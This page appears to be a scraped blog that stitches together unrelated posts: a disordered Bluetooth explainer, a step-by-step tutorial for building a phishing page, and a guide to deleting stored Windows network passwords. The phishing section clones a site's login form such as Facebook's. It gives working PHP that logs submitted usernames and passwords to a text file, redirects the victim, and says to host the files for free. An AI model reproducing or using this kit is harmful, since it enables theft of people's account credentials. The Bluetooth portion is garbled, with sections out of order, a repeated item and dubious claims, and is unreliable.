3. How Bluetooth Technology Works

Working

Bluetooth technology was discovered to have wireless protocols to connect several electronic devices and as a solution to synchronize the data. The Bluetooth standard is maintained by the Bluetooth Special Interest Group.

At the physical layer, the Bluetooth RF transceiver is positioned. At around 79 Bluetooth channels are placed with a space of 1MHz. Transmission of data and voice are achievable at short distances and thereby creating Wireless PANs.

A Bluetooth device is comprised of an adapter. A Bluetooth adapter can be available in the form of a card to connect the device or integrated into an electronic device.

Link Management Protocol (LMP) is responsible for peer – to – peer message exchange when the electronic devices interfere in each other’s radio range. This layer creates the link and negotiation of packet size. If required this layer can perform the segmentation and reassembling of the packets.

The Bluetooth device enabled by the Service delivery protocol joins the piconet and enquires with all the services available. A piconet has a star topology with one master and seven slaves. The concept of Master and Slave is used in the Bluetooth technology. Only after the master takes the initial action, the devices can begin to talk. Bluetooth GloballD is exchanged among the electronic devices and a connection is build up after the profiles are matched.

Frequency hopping is used in the Bluetooth technology to avoid interfering with other signals. After the packet is transmitted or received, the Bluetooth signal hops to a new frequency. Each packet can cover five time slots.

The Bluetooth technology supports asynchronous data channel, or 3 simultaneous synchronous voice channels, or a channel which supports asynchronous data and synchronous voice.

2. Bluetooth Applications

The first and foremost application of Bluetooth technology would be to eradicate the tangling of cables that would mess up the room.

1. Bluetooth’s biggest contribution is to provide a phone with a headset that works wirelessly. This is possible by providing the caller with an earpiece and a small microphone attached to the caller’s shirt. The mobile phone can be located in a bag or anywhere in the body. The caller can dial a number even without touching a button on the mobile phone. This technology has the advantage of eliminating the radiation hitting the cerebral region.
2. PDA, PC or laptop which has enabled Bluetooth can communicate with each other and update with its latest information. This technology has helped in synchronizing the data easily.
3. It is difficult to send emails while travelling in a flight. On landing of the flight, the Bluetooth enabled laptop can send the email only when it gets in touch with the user’s phone.
4. Wireless mouse and keyboards are introduced.
5. One will be alerted on his/her mobile phone when your laptop receives the mail.
6. One will be alerted on his/her mobile phone when your laptop receives the mail.

1. Bluetooth Technology

What is Bluetooth?

      Bluetooth is a wireless technology used to transfer data between different electronic devices. The distance of data transmission is small in comparison to other modes of wireless communication. This technology eradicates the use of cords, cables, adapters and permits the electronic devices to communicate wirelessly among each other.  

The key features of Bluetooth technology:

• Less complication
• Less power consumption
• Available at cheaper rates
• Robustness

Bluetooth technology permits hands free headset for incoming voice calls, ability of printing and fax, and automatic synchronization of PDA.

Classification

Various types of Bluetooth technology are available in the markets which help the consumers to communicate wirelessly. The different types of Bluetooth devices are PC cards, radios, dongles, and headsets. Laptops and other Internet enabled equipments use Bluetooth technology such as wireless mouse and keyboard to communicate wirelessly. Music players like iPods, music phones, or other MP3 players make use of stereo headphones.

How to make a Phishing page

What is phishing page?

A phishing page of a site is just a ditto copy of a site. No one can easily detect a difference. In this, we just clone a site login or any other important page.

How to create?

• Visit the page that you want to clone.
• Save it (CTRL+S) via your browser.
• Choose save complete webpage while saving it via browser.
• Give name index while saving. (Dont use other name!)
• Save it to a folder.
• Now, you should have one file named "index.htm" and a folder.
• We have to edit index.htm file.
• Edit it and search "action" without "". You will get something like this if you are creating fake page of facebook, action="https://www.facebook.com/login.php?login_attempt=1" method="post" , We have to edit this line only. Change https://www.facebook.com/login.php?login_attempt=1 to login.php (How to create login.php is written below) and change post to get , and save it.

How to create login.php?

Here is the code for login.php, just copy the below code, paste it in notepad and save it as login.php.

Code:

<?php
header("Location: http://www.google.com");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 

You have to change http://www.google.com to the site url that you are cloning, for example, change it to http://www.facebook.com/ if you are cloning facebook.

Now, you have your phishing page.

Now, you upload the above two files, login.php and passes.txt on any free web hosting site 

(eg. www.my3gb.com).

Remove Saved Network Passwords in Windows XP,Vista,7

Windows stores user names and passwords on your PC so when you try to log on to network shares, websites (Windows Integrated Authentication) or Remote Desktop Connections, you don’t have to reenter the login information. Caching logins can be helpful if users have multiple usernames and passwords for different programs and can also speed login times for users. However, by storing passwords, Windows also makes it possible for an unauthorized person to walk up to the computer and use the stored passwords to access the protected programs.

I recommend checking which passwords Windows has already stored and delete those that pose a high security risk. Here’s the method to remove stored Windows network passwords.

How to Remove Stored Network Passwords in Windows 7?

You can access the Windows Vault through the Credential Manager. The easiest way is by just typing “Credential Manager” in the Windows 7 Start Menu search prompt. You can also access the Credential Manager through the Control Panel: -> User Accounts -> User Accounts. The link to the Credential Manager can be found in the left navigation bar.

You can remove an entry by selecting it from the list and clicking Remove.

How to Remove Stored Network Passwords in Windows Vista?

To access Stored Usernames and Passwords, you have to run “control userpasswords2″ from the command prompt, then click on Advanced, and then on Manage Passwords.

You can remove an entry by selecting it from the list and clicking Remove.
